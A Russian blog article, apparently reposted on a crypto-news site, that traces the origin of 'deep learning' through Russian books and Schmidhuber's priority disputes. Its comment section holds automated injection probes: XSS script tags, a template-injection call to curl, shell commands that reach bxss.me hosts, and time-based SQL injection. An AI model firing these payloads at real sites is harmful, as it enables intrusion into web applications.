Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Головоломка, кофе и охапка книг, или как я искал истоки термина «Deep Learning». Часть 2

92c908314bdb84191763359d200356f3.png

Привет! Некоторое время назад я начал искать истоки термина «Deep Learning». Тогда я изучал только зарубежные источники и обещал вернуться позже с обзором советской и российской литературы. Что ж, откладывать это больше нельзя. Посмотрим, на кого будут ссылаться отечественные авторы в том, что касается истории развития глубокого обучения. Без долгого вступления — берем в руку пальцы Ctrl/Cmd+F и начинаем раскопки!

Если вам интересны актуальные ML-технологии, их применение и реальные кейсы, регистрируйтесь на митап «MLечный путь — 2025: знания, опыт, комьюнити». Будем не только слушать, но и обмениваться мнениями в дискуссиях, челленджах и на питчах проектов. Каждый участник сможет напрямую поговорить с экспертами, задать вопросы и получить подробную обратную связь. Мероприятие бесплатное — нужно только зарегистрироваться. Задайте вопрос спикерам и получите шанс выиграть подарок от Selectel.
📅 23 апреля, 18:00
📍 Формат участия — онлайн и оффлайн в Санкт-Петербурге.


Николенко С. И., Кадурин А. А., Архангельская Е. О.


Я думаю, многие слышали о книге «Глубокое обучение». Оно и понятно — книга круто написана, снабжена богатым техническим материалом.

9b90c2a52d6c04ae19fbcc675f5c3dfb.png

В числе прочего есть и вполне себе самостоятельный раздел об истории глубокого обучения. Глянем, что там:
daefd7500340ed14dd70505b7ac78449.png

Надо полагать, что Юрген Шмидхубер может с этим не согласиться. Он написал статью «How 3 Turing Awardees Republished Key Methods and Ideas Whose Creators They Failed to Credit», в которой есть фрагмент:
«…At least until 2019, LBH's web site deeplearning.net advertised deep learning as «moving beyond shallow machine learning since 2006»,[DL7] referring to Hinton's[UN4] and Bengio's[UN5] unsupervised layer-wise pre-training for deep NNs (2006), as if deep learning had started with this work. However, we had this type of deep learning already in 1991.[UN][UN1-2] Hinton & Bengio did not mention the prior work, not even in later surveys.[DL3,DL3a][T22] More on this below».

И далее, собственно, он очень подробно разбирает хронологию событий и в конце формулирует претензию:
More than a decade after this work,[UN1] Hinton published a similar unsupervised method for more limited feedforward NNs (FNNs), facilitating supervised learning by unsupervised pre-training of stacks of FNNs called Deep Belief Networks (DBNs).[UN4] The 2006 justification was essentially the one I used in the early 1990s for my RNN stack: each higher level tries to reduce the description length (or negative log probability) of the data representation in the level below.[HIN][T22][MIR] Hinton did not mention the 1991 work, not even in later surveys.[T22]

Bengio also published similar work (2006) without citing the original method,[UN5] not even in LBH's much later surveys (2015-2021),[DL3,DL3a][DLC] although both Hinton and Bengio knew it well (also from discussions by email). Even LBH's 2021 Turing Lecture[DL3a] dedicates an extra section to their unsupervised pre-training of deep neural networks (NNs) around 2006, without mentioning that I pioneered this class of methods in 1991.[UN-UN2]

Remarkably, no fewer than four of our priority disputes with LBH (H1, H2, B7, L2) are related to this work of 1991-92.[UN0-1][UN] Today, self-supervised pre-training is heavily used for famous applications such as Chat-GPT—the «P» stands for «pre-trained,» and the «T» for «Transformer.» Note that my first Transformer variant (the unnormalised linear Transformer) also dates back to 1991;[FWP0-1,6][TR1-7][DLH] see disputes H4, B4.

В чем же претензия? Ну, собственно, в том, что господа LBH в своих работах не удосуживаются процитировать исследования, в которых уже описывались и проверялись похожие идеи, — так, словно и не было их.

Представьте, что вы проделали исследовательскую работу, вложили в это массу сил, времени, ресурсов (в первую очередь финансовых, на аренду вычислительных ресурсов, сбор данных и вот это все), опубликовали результаты, получили по итогам какой-то отклик от научного сообщества. Представили?

А теперь представьте, что годы спустя вы обнаруживаете, что некто «H» («B» или может даже «L») выпускает исследование. В нем описываются похожие, а может даже и ровно те же идеи, в которые вы когда-то верили, по отношению к которым чувствуете причастность и которые были выстраданы вами в ходе долгих и порой мучительных проб и ошибок. Представили?

А теперь представьте, что эти некто не просто ничего про вас не сказали в своих исследованиях, не просто описали ваши идеи, как свои, но продолжили продвигать «свою истину» даже после того, как вы им несколько раз недвусмысленно намекнули, что так делать нехорошо! Представили?

А теперь задайтесь вопросом: какие эмоции вы будете испытывать по поводу таких людей? Здесь, конечно, уже становится немного сложнее понять, кто прав, поскольку разбор даже последней цитаты и анализ того, имеет ли она право на жизнь, требует внимательного прочтения упомянутых работ. Сам факт наличия подобных претензий и возникающей на этой почве полемики говорит о том, что что-то в этом вопросе есть неладное. Точки над «и» не расставлены. Но идем дальше.

d5d7ff6079187f345ea6d730cfc6190a.png

А у кого именно появилась идея? И тут опять же открываем другую статью Шмидхубера и видим следующий фрагмент:

Around 2006, in the context of unsupervised pre-training for less general feedforward networks [15,A8], a Deep Learner reached 1.2% error rate [15] on the MNIST handwritten digits [16], back then the most famous benchmark of Machine Learning. Our team then showed that good old backpropagation [A1] on GPUs (with training pattern distortions [42,43] but without any unsupervised pre-training) can actually achieve a three times better result of 0.35% [17,A10] — back then, a world record (a previous standard net achieved 0.7% [43].

Это просто к слову о том, что, по выражению Дэниела Кревьера из предыдущей статьи, «most pioneering AI research occured in America». Ну разумеется, а как же иначе.

Далее по тексту авторы перечисляют литературу, которую рекомендуют к ознакомлению, включая обзор Юргена Шмидхубера:

9e15b384d6cc4a3daa1b373fc3f9fc3a.png

Все так, полностью согласен. Я уже ранее упоминал данный обзор и уж в чем в чем, а в дотошности и подробности Юргену отказать невозможно. Но идем дальше:

9df61ddbb1927c610f1d4351b532f5e4.png

И снова согласимся. Что там дальше:

6b2cc03e06759f99bb711d18534e38cc.png

f78c80c2ec0e0458109d79a8325e8391.png

Могу лишь от себя скромно присоединиться к рекомендации и дополнительно порекомендовать к прочтению рассмотренную книгу.

Строго говоря, я не нашел здесь исчерпывающего рассказа об истории появления именно термина «глубокое обучение». Но, безусловно, я рекомендую эту книгу, поскольку в ней ярко читается голос автора, который от всей души старается рассказать о глубоком обучении понятно и интересно!

rfo-_xr6w4ri0fcxsum-7ef3xow.png


Михаил Лысачев, Александр Прохоров, Денис Ларионов


На книгу «Искусственный интеллект. Анализ. Тренды. Мировой опыт» я, как это уже бывало много раз, наткнулся случайно. Ее легко можно найти в свободном доступе. Привлекло в ней, пожалуй, то, что я ничего о ней не знал. Ни разу не видел ее на полках в книжных, особо ничего про нее не слышал. Книжка при этом всем еще и довольно объемная. Точно надо почитать!

6f7cf780f7ae2aabb2277146bfcf819a.png

Итак, что же можно полезного извлечь по теме происхождения термина «deep learning»? В целом, данная книга во многом повторяет мейнстримное изложение истории развития глубокого обучения в частности и искусственного интеллекта в целом. Есть здесь, например, и вот такая временная диаграмма:

7346b79217569ae45d9de41d216051ac.png

Разумеется, тут будет рассказ и про наших супергероев из предыдущей статьи — Мак-Каллока и Питтса:

1dc75ce7e7e91bb130ba5e9a4de5f4d3.png

И про Розенблатта:

c839ac743b0b76bf12a4c246dc513f5c.png

И про Джона МакКарти:

fd47dc009fd400201ec6d1b2561cf804.png

b98ef38d5f7afaa781228fe204cbcc1d.png

И много еще про кого.

Есть также и попытка объяснить, почему обучение именно глубокое. Чем больше слоев, тем глубже сеть, потому и «глубокое». Изящно.

e787fb3ba1df5a5469ef5e537fc4e1ad.png

80061a3e4e2f41a72e74ad6f22910882.png

Нет при этом ни единого упоминания, ни словечка про вклад Рашевского, Ивахненко, Линнаинмаа, Шмидхубера, затронутого здесь разок Хохрайтера и многих-многих других.

Спасибо, хоть про Владимира Вапника и Алексеем Червоненкиса сказали:

c612bf4c25ea00f68bb208fa18425f6a.png

Как-то так вышло, что в примерно 80-90 упоминаниях словосочетания «глубокое обучение» не нашлось места для исследователей в области искусственного интеллекта, которые бы работали не в США или Западной Европе. Может потому, что — как нам уже дали понять — «most pioneering AI research occured in America»? Может быть и так. Ну скажите, разве есть хоть какой-то смысл в этом сомневаться?

Из всех упоминаний термина «глубокое обучение», к сожалению, нет ни одного, что могло бы прояснить происхождение этого самого термина. Поэтому более данная книга нам в поисках помочь не сможет. Тем не менее, она будет вполне полезна, если нужно посмотреть на область искусственного с точки зрения экономики и бизнеса, т. к. там на эту тему довольно много разделов и ссылок на внешние источники. Мы же тем временем двинемся дальше.

О книгах, кофе и искусственном интеллекте я также пишу в своем Telegram-канале.

Леонид Черняк


В очередной раз рыская по интернету, наткнулся на эту книгу:

1acb81ad35385f924afa258632f391ce.png

Одно только оглавление уже заинтриговало:

d1557217a78a272ea3957e59d54f9fc1.png

Как вы думаете, о какой же мафии идет речь? Но идем дальше:

7f2aac623ad5d62f359e40bacca7a3af.png

Очень интересно. Один вопрос: а где конкретно Юрген так считает? Дело просто в том, что есть у Юргена в его официальном блоге довольно интересная статья. Что же там Юрген пишет? А вот что:

6acf88dd450aa3200bfd24f5430f6acc.png

Говорит ли Юрген что-то об Алексее Григорьевиче? Что же, это довольно просто выяснить. Юрген упоминает Алексея Григорьевича шесть раз. И каждое такое упоминание — это ссылка на его совместную работу с Лапой Валентином Григорьевичем в контексте метода группового учета аргументов.

Это не очень похоже на то, что «Юрген Шмидхубер… считает Ивахненко не только отцом глубокого обучения, но и метода обратного распространения ошибки». Откуда Леонид Черняк это взял, не совсем понятно.

Тем не менее, другая часть этой фразы, а именно «Юрген Шмидхубер … считает Ивахненко … отцом глубокого обучения» подтверждается вполне легко:

7ad6a9ce968a24da4c9e62e0272a488e.png

Кстати говоря, вот мы и выяснили, кто считает Ивахненко отцом глубокого обучения.

В целом, данную книгу можно еще очень долго разбирать. В ней много интересных разделов, касающихся истории развития интересующего нас термина и соответствующей области исследований. Есть там, например, вот такой абзац:

559f1e59d59e1eb7f3d0ddf4d6b1f7ba.png

Сложилось, ну да. Само по себе взяло и сложилось… И да, кстати, про швейцарца Юргена Шмидхубера Леонид Черняк тоже написал:

ecaadcc22f1cbeee78ac8fdb308e2175.png

Много всяких мыслей возникает при прочтении… «Одиозных доказательств российского приоритета»? Предположу, что под одиозностью понимается вот это:

db1e9982ab9c688d18d7fb2a8c6fad87.png

Разумеется, я понимаю, что этот пример полностью подпадает под сказанное мной же в предыдущей статье, а именно:

«…когда речь заходит о том, что «X является первооткрывателем Y», надо делить эту фразу на десять с половиной…»

Тут, очевидно, на десять с половиной надо делить слово «впервые», поскольку есть как минимум версия Юргена Шмидхубера, согласно которой современная версия метода обратного распространения ошибки была опубликована в 1970 году в магистерской работе Сеппо Линнаинмаа.

Чтобы проверить, что общего между работами Галушкина и Линнаинмаа, нужно довольно внимательно вчитываться в обе. Делать я этого не буду, поскольку кажется, что это может занять существенное время, а также это немного выходит за рамки темы статьи. Тем не менее, один момент все же хочется подсветить.

Поверхностное прочитывание оригинальной работы Галушкина позволяет понять, что «алгоритм поиска экстремума функции многих переменных» описывается им именно для того, чтобы построить то, что у него называется «многослойная система распознавания».

Оригинальная же работа Сеппо Линнаинмаа написана на финском, так что анализировать ее чуть сложнее. Есть еще, конечно, более поздняя его статья от 1976 года. В ней говорится в более общих терминах о том, что некий вычислительный процесс в общем случае сопровождается ошибками, возникающими в силу того, что вычисления производятся с конечной точностью. В статье Сеппо Линнаинмаа утверждает, ссылаясь на работу Петера Хенричи, что данную накопленную ошибку округления можно представить через разложение Тейлора и через это понять, каков был вклад каждой локальной ошибки на каждом промежуточном шаге вычислительного процесса.

В упомянутом уже разборе Юргена имеется на эту тему вот такой абзац:

6c2476407ca487d296a8b291e8e755fe.png

Похоже, Александр Иванович Галушкин и Сеппо Линнаинмаа писали плюс-минус об одном и том же. Но Сеппо Линнаинмаа сделал это в более общих терминах, не прикладывая метод к нейронным сетям, и сделал это, увы, раньше.

Получается, опрометчиво говорить, что впервые метод был описан в 1974 году А. И. Галушкиным. Но является ли это утверждение одиозным? Так ли уж далеко это ушло от того, как к подобным фактам относятся зарубежные писатели? Реально ли допустить, что авторы этого утверждения попросту добросовестно заблуждались?

Другая фраза, которая сбила с толку:

«…скандала, устроенного Шмидхубером, то, скорее всего, поводом для него стал тот факт, что его обошли при награждении Тьюринговской премией 2018 за достижения в области глубокого обучения».

1b53615d862d9359d9f0d2b80fd61c09.png

С какой стати критика несправедливого присуждения людям незаслуженных заслуг является скандалом? С чего автор взял, что причина в том, что Юргена обошли при награждении? Не очень понятно.

Впрочем, на все это лично я могу закрыть глаза, имея в виду следующее обстоятельство:

2b6dd515689d48eb50fd7e6d9fb702f1.png

Ура! Наконец-то хоть кто-то уделил данному гражданину должное внимание. Далее по тексту можно встретить больше:

ede4692667bc66f2fbfd1157d241ad90.png

Далее идет довольно подробное описание того, как Уолтер Питтс через Рассела, Карнапа, Литтвина и некоторых других действующих лиц познакомился непосредственно с Николаем Петровичем. И хоть на этом описание вклада Рашевского в книге по большому счету заканчивается, надо отдать должное автору: он один из очень немногих (по крайней мере, из тех, кого мы успели рассмотреть), кто постарался приблизиться к объективному описанию истории возникновения нейронных сетей, а следовательно и глубокого обучения.

Впрочем, мы немного отвлеклись, пойдем дальше по книге:

83ea9e950a56e541bfb82f583c09d26d.png

Мы уже натолкнулись на упоминание данных граждан при разборе книги Аггарвала и поиске информации по книге Минского и Пейперта. В принципе тут несложно догадаться, на что ссылается автор.

В целом, прочтение отдельных фрагментов данной книги безусловно помогло мне построить более полную картинку о том, откуда произошел термин «deep learning». Как говорится, дело ясное, что дело темное.

Разумеется, я рекомендую данную книгу для ознакомления, поскольку автор, на мой взгляд, честно пытается рассматривать историческое развитие глубокого обучения непредвзято, хоть и допускает некоторые неточности. Например, вот такие:

cfe1f99b472b3d49aa4ce4a26f8a7967.png

При этом у самого Шмидхубера по поводу отношений с Хохрайтером немного другое мнение:

0e450853f4dd06279e3c86024e6733f6.png

Я не в курсе, бывает ли такое, чтобы один и тот же человек был у другого человека и студентом, и научным руководителем. Наверное, гипотетически такое возможно. Что думаете?

Сергей Марков


И вот мы добрались до чертовски интересной работы Сергея Маркова:

a2743568444c8bc41ab15800830a9a6d.png

7t0oubipa_jb0x5wptkc3d5ilks.png

Но прежде хочу сказать пару слов о том, как я узнал об этих книгах.

Итак, конференция PyCon, Москва, 26-27 июля 2024 года. Мы с моим коллегой, Антоном Алексеевым, поехали с докладами об инфраструктурных нюансах ML-проектов. Я рассказывал об инструментах профилировки ML-кода, а Антон — о том, как заюзать GPU в Kubernetes без боли и страданий. Антон еще по итогу написал статью. Я тоже до своей статьи по профилировке доберусь, но попозже. 😉

Так вот, на этой же конференции были ребята из SberAutoTech. В частности, выступал Алексей Воропаев с рассказом о том, как писать CUDA-кернелы с использованием Taichi-lang. Я выступил 27-го и, посидев немного на пуфике и передохнув, подошел к стенду SberAutoTech поболтать с ребятами об ML. Было круто, мы разговорились и обменялись контактами.

Я позже сообщил Алексею, что пишу статью об истории DL и хочу его немного расспросить по этой теме, если у него будет время. И вот тут Алексей мне и написал, что недавно вышла большая энциклопедия по истории ML, а на сайте Сергея Маркова, где, собственно, в открытом доступе лежат две части книги «Охота на электроовец. Большая книга искусственного интеллекта».

Сказать, что я «обалдел», — ничего не сказать. Две массивные книги, обе в открытом доступе, гигантский объем ссылок на различные источники, касающиеся не только искусственного интеллекта или глубокого обучения, но и всей истории вычислительной техники в целом. Ух, забористо!

О самой книге, думаю, лучше всего бы рассказал сам Сергей Марков. Впрочем, он так и сделал. Я же просто попробую пошариться по книге в поисках всего, что позволило бы пролить больше света на исходный вопрос о происхождении глубокого обучения.

Итак, приступим:

d48ea2f4b01f5cc52b05e3bf8d083aea.png

Как вы думаете, насколько подробно будет описана история этих двух полюбившихся нам граждан? Правильно, очень подробно! Безусловно, глупо было бы не признать, что работа МакКаллока и Питтса — важнейшая веха в истории развития нейронных сетей, поэтому логично ожидать, что поголовно все авторы книг по истории ИИ разбирают данный период и данную работу. Тем не менее, в случае с книгой Сергея Маркова (как и Леонида Черняка) есть одно существенное отличие, а именно:

bc065d8fa602a87bd85ea10b3ef342a1.png

efa0c1485a1ba4e7932466d4843d25ba.png

Итак, это третья книга, которая упоминает Рашевского в контексте работы МакКаллока и Питтса. При этом, если Саймон Хайкин лишь мельком его упомянул, а Леонид Черняк чуть более подробно рассказал о его вкладе, то Марков пошел сильно дальше и снабдил книгу подробнейшим описанием жизненных этапов биографии Николая Петровича. Здесь, думаю, излишне делать какие-то врезки, книги находятся в открытом доступе — настоятельно рекомендую с ними ознакомиться!

Мы же, тем временем, попробуем заглянуть во вторую часть книги:

407f4f94261ed1079f639f6406059043.png

Что же нас ждет здесь? Правильно, подробнейший рассказ о том, как проводились исследования по так называемым «самонастраивающимся системам» и о ком бы вы думали? Правильно:

3e4ada2fa34011fb5452e0a13d32a80d.png

0d667bb5ec6bc1535798ffb242cbb21c.png

И снова приходит на ум вопрос: много ли авторов текстов по истории ИИ об этом говорят? Но идем дальше:

c8fd94493176a6751492a0bff2b747ad.png

И действительно, где же все-таки начинается глубокое обучение?

69e492065a4bfda2c0e9e19a555bbd4e.png

Какие вопросы? А вот если вы откроете вторую часть книги, то как раз и узнаете:

84761d250364c02a853b6bcec42057ae.png

А вот уже и знакомая нам по первой части статьи Рина Дехтер! И да, остается только согласиться с автором в том, что знание факта упоминания ей термина «deep learning» в контексте своей работы не добавляет ясности. Но идем дальше:

645006ee93f994d1b3dd1210981668cd.png

f2f871a7543231c1ab2c9b04725e4de9.png

И далее Сергей Марков приводит пример пример такой архитектуры:

ce416f801970a30f3ebfc5722e544904.png

Чуть дальше мы, наконец, приходим к выводу:

94380eeba022d886e0e660654b5b9de8.png

cc2712e33ea79683cf4845cb130695f9.png

И действительно, кто? Что по этому поводу думает автор? А вот что:

b3aa6e5617dc658b0889a819cdf0d823.png

Ну что же, тут, как говорится, finita la commedia. Признаться, я ждал какой-то сенсации, но ее не случилось. Тем не менее, очень любопытно, что с очень сильно похожим термином в тот же год вышла статья от других авторов.

Да и вообще, сегодня это самый подробный разбор истории возникновения термина «глубокое обучение». Сомневаюсь, что где-то вы найдете лучше. Я попробовал, сами видите, книжки всякие полистал.

Книгу всячески рекомендую, поскольку из того, что я просмотрел, данные две части — это наиболее подробное описание исторического развития искусственного интеллекта, включая происхождение термина «глубокое обучение».

Итого


Ну и что же мы можем сказать по итогу всего увиденного? Понятно только одно: дело ясно, что дело темное.

Пожалуй наиболее обстоятельно к вопросу, которым мы задались в рамках этих двух статей, подошел Сергей Марков в упомянутом выше двухтомнике.

Действительно, работа Рины Дехтер не вводит термин «глубокое обучение» в том смысле, в котором он понимается сейчас. Я даже вполне соглашусь с тем, что этого не делают Игорь Айзенберг, Наум Айзенберг и Йос Вандевалле в своей работе «Многоуровневые и универсальные бинарные нейроны», которая уже упоминалась нами в первой статье. Но если внимательно прочитать то, что написал Сергей Марков, то получается, что и господа LBH тоже этот термин не вводят!

Если прочитать фрагмент, где Сергей Марков говорит о том, что «первенство здесь принадлежит Джеффри Хинтону и его коллегам», и заодно посмотреть статьи, на которые ссылается автор (а именно, «Reducing the Dimensionality of Data with Neural Networks» и «A Fast Learning Algorithm for Deep Belief Nets»), то выяснится, что Хинтон с коллегами вводят термины «глубокий автокодировщик», «глубокая сеть», «глубокие сети доверия», но не «глубокое обучение»! В данных статьях нет ни одного упоминания термина «deep learning».

Зато этот термин действительно неоднократно упоминается в статье «A Multiple-Weight-and-Neuron-Fault Tolerant Digital Multilayer Neural Network» — и уже именно в том смысле, в котором мы привыкли!

Так что выходит, что впервые термин «deep learning» в том смысле, в котором он применяется сейчас, употребили три человека: Тадаёси Хорита, Такуроу Мурата и Ицуо Таканами!

e9e363b92ac6cb9aa599cd0fa980aeb8.png

Да, разумеется, можно придраться к тому, что они ввели не совсем этот термин. Можно сказать что-нибудь в стиле: «Ну они же пишут про deep learning method, а не про deep learning».

И вообще, если почитать их работу, то выяснится, что они работают с нейронками, в которых аж целых… один скрытый слой.

И тем не менее, это они в своей статье пишут про «extended back propagation learning algorithm called the deep learning method». Это уже потом, в 2015 году, господа LBH напишут статью под названием «Deep learning», в которой данный термин будет использован аж 21 раз.

При этом если посмотреть на источники, на которые данная статья ссылается, то и там обнаружится, что термин фигурировал в разных работах и раньше. Например, в статье «Deep learning of the tissue regulated splicing code».

Возможно, у вас возникнет вопрос о том, почему тут не рассмотрены труды советских исследователей ИИ (Поспелова, Глушкова, Галушкина, Ивахненко и т. д.), но история советских исследований в этой области заслуживает отдельного цикла статей. Да и кроме того, на эту тему уже есть отличная публикация.

Впрочем, если вам любопытно, рекомендую обратиться к книге Якова Ильича Фета «Рассказы о кибернетике», а затем заглянуть в «Очерки ИСТОРИИ КИБЕРНЕТИКИ в СССР» Василия Дмитриевича Пихоровича.

Финальное определение термина «deep learning»


Ну наконец-то! Нет сил терпеть, каково же определение? Может, что-нибудь такое:

Deep learning, или глубокое обучение — это обучение глубоких нейронных сетей.

Краткость — сестра таланта! Хотя бьюсь об заклад, что у кого-нибудь в голове возникла эта картинка:

ffa507421bd1dc5bc1fc8b83e3155bf6.png

Ну ладно-ладно, пошутили и будет. Может возьмем за основу определение, сформулированное для термина «machine learning» и скажем, что:

«A computer program is said to use deep learning from experience E with respect to some class of tasks T and performance measure P, if its performance at tasks in T (solved solely with deep artificial neural networks), as measured by P, improves with experience E».

Вроде бы даже неплохо выглядит. Только есть проблема: следом за этим определением придется дать определение термина «deep artificial neural networks». И тут мы попадаем в ту самую ловушку, о которой писал Сергей Марков:

«… весьма сложно провести четкую формальную границу, отделяющую глубокие сети от неглубоких».

Разумеется, об этом писал не только он. Вот, например, что говорит по этой теме Стьюарт Рассел:

6e95ff7cc3c85253ec59b5cb3100d1f0.png

Это, на секундочку, соавтор трехтомника «Искусственный интеллект: современный подход», так что понимаем и запоминаем. Сам же фрагмент был взят из книги «Архитекторы ИИ». К ней мы еще чуть ниже вернемся.

К слову о глубине. Одной из самых амбициозных попыток поставить в этом вопросе точку является раздел монографии Шмидхубера:

52c147cb7ba24d7c1296026a4a5d1ebc.png

Описав очень строго с добрых пару десятков терминов, Юрген ниже пишет следующее:

db2d6a7b7105d59149ab908053d149da.png

a5e32c7173047d505c52bf4c92b38770.png

Вот так вот. Как вы видите, даже Юрген, при всей своей строгости и дотошности, все равно приходит к весьма условному отделению глубоких сетей от неглубоких, так что данный вопрос действительно нетривиальный.

Кстати, а как вам идея воспользоваться понятием «предиктивного телеологического целенаправленного поведения» по Винеру? Допустим, что-нибудь из разряда:

«… глубокое обучение — это раздел кибернетики, направленный на изучение методов использования данных для создания механизмов, основанных на нейронных сетях и обладающих предиктивным телеологическим целенаправленным поведением».

Как вам такое? Можно ли так определить термин «глубокое обучение»? Если бы можно было, то мы были бы уже сильно за порогом восстания искусственного интеллекта, поскольку «целенаправленное поведение» по Винеру — это, в первую очередь, «активное поведение»:

d135600ecfef6657c272d6c6893a275e.png

Пока что (опять же, насколько мне известно) любая программа, так или иначе использующая нейронную сеть, обладает все же пассивным поведением, не ставит свои собственные цели и не действует в своих собственных интересах. Поправьте меня, если я ошибаюсь.

И кроме этого, хочется подчеркнуть еще один малюсенький, но все же проблемный аспект касательно определений: за одним и тем же термином вполне себе неплохо уживаются разные понятия!

К чему я это все? К тому, что термин «глубокое обучение» можно определять множеством различных способов, они все будут делать упор на каком-то из аспектов, поставленных во главу угла и все будут что-то упускать из виду. На ум приходит притча о слепых и слоне:

4e7bdc4ac90d931f9a87669321e745c9.png

Вот, допустим, что говорит Мартин Форд:

8a3b47e79d822318b5144a91bf16e2a9.png

А вот что думает мистер «B» (взято из той же книги «Архитекторы ИИ»:

451c4bf69e3b88b1e8caf4aaf6756746.png

efc1563c8b1b8be1c79170fa971d05d8.png

И таких вот вырезок и определений можно найти еще уйму.

Вместо заключения, или кто же все-таки пишет историю


В первой части мы мельком упоминали одну замечательную статью о том, кто пишет историю. Есть там вот такой замечательный фрагмент:

Эту фразу, в том или ином виде, несколько раз повторял известный британский писатель Джордж Оруэлл. О том, что история пишется победителями, он записал в своем эссе «As I Please» в 1944 году, а также в своем популярном романе «1984». Там она звучала куда более радикально, но смысл был приблизительно такой же: «Тот, кто управляет прошлым, управляет будущим. Тот, кто управляет настоящим, управляет прошлым».

Я бы, пожалуй, несколько перефразировал ее конец, сказав, что тот, кто не знает прошлого, не понимает настоящего, а значит не имеет будущего.

Тут можно сломать не одну охапку копий и в итоге так ни к чему и не прийти. Я лишь надеюсь, что мы сойдемся хотя бы в том, что, так или иначе, изучая прошлое, становление настоящего в прошлом, фантазируя на тему будущего, мы лбом упираемся в одно словосочетание: источник информации. Точнее даже будет сказать не источник, а источники.

Вот мы с вами в данных двух частях посмотрели на ряд книг, так или иначе затрагивающих вопросы истории возникновения термина «глубокое обучение» и в целом истории ИИ. Изложенные соображения — результат целенаправленного поиска источников по очень конкретной теме. Активного поиска. Поиска, нацеленного на то, чтобы сформировать по возможности наиболее полное представление о том, как оно на самом деле было.

А теперь внимание, вопрос: характерен ли активный целенаправленный поиск для сегодняшнего дня? Типична ли ситуация, в которой мы запускаем по любому вопросу мини-исследование с присущей ему работой над сбором и анализом источников информации? Очевидно, нет.

Очевидно, что в этом дивном новом мире, напичканом социальными сетями, новостными лентами, стриминговыми платформами, чат-ботами, рассылками, подкастами, дайджестами, блогами, пуш-уведомлениями, мини-приложениями, приложениями внутри приложений и т. д. и т. п. практически не осталось места для активного поиска. Его стремительно вытесняет подход, в котором мы лишь говорим о том, что нам хочется потреблять (здесь было важно не ошибиться буковкой), а всю остальную работу проделают за нас средства доставки информации.

Средства, оснащенные мощной рекомендательной системой. Средства, доставляющие информацию в промышленных масштабах, массово. Средства массовой доставки информации.

И по сути, тот, кто владеет этими самыми средствами массовой доставки информации, тот и управляет настоящим, а значит, по Оруэллу, прошлым и будущим. А теперь осталось задать один малюсенький вопрос: кто же этими средствами массовой доставки информации владеет?

Ответив на этот вопрос, вы уже можете задаваться другими вопросами о том, кто/что влияет на представление о первенстве и приоритете, о заслугах и роли кого бы то ни было в чем бы то ни было, о позитивном или негативном образе кого бы то ни было и чего бы то ни было в чем бы то ни было.

И на этом мы, пожалуй, поставим в поднятом вопросе точку, а сами двинемся дальше, ведь глубокое обучение, это не просто термин, история которого, как мы убедились, не вполне тривиальна. Это еще и бурно развивающаяся область исследований, являющаяся частью более общей сферы — машинного обучения.

Что это за сфера? Из чего она состоит? Где применяется? Где и в чем у данной сферы есть границы применимости? Интересные вопросы? Я считаю, да.

Вот этими вопросами мы, возможно, в следующих статьях и займемся. А пока всем хорошего времени суток!

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

